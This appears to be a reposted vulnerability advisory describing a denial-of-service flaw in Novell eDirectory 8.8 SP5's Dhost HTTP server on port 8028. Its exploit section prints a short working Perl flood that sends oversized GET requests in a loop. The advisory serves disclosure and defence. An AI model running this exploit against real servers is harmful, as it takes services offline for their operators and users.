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Novell eDirectory 8.8 SP5 Dhost Http Server DoS
Novell eDirectory 8.8 SP5 Dhost Http Server DoS
Novell eDirectory 8.8 SP5 Dhost Http Server DoS



Affected Software:=0D
Novell eDirectory 8.8 SP5=0D
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Vulnerability Description:=0D
Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.=0D
If a remote attacker sends Unicode strings with Http Request to "8028 port" =0D
("8028" is the default port of Novell eDirectory Dhost Http Server), =0D
the attacker can cause the system to consume 100% of the CPU resources.=0D
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Credits to:=0D
Hellcode Research=0D
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Original Advisory: =0D
http://tcc.hellcode.net/advisories/hellcode-adv003.txt=0D 
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Exploit:=0D
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....=0D
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$data = "?" x 500000;=0D
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for($i= 0; $i < 1000; $i++)=0D
{=0D
	$sock= new IO::Socket::INET( PeerAddr => "localhost",=0D
	PeerPort => 8028,=0D
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	Proto => 'tcp',=0D
	Type => SOCK_STREAM, =0D
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	);=0D
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	print $sock "GET /$data HTTP/1.0\r\n\r\n";=0D
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	close($sock);=0D
}=0D
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...=0D
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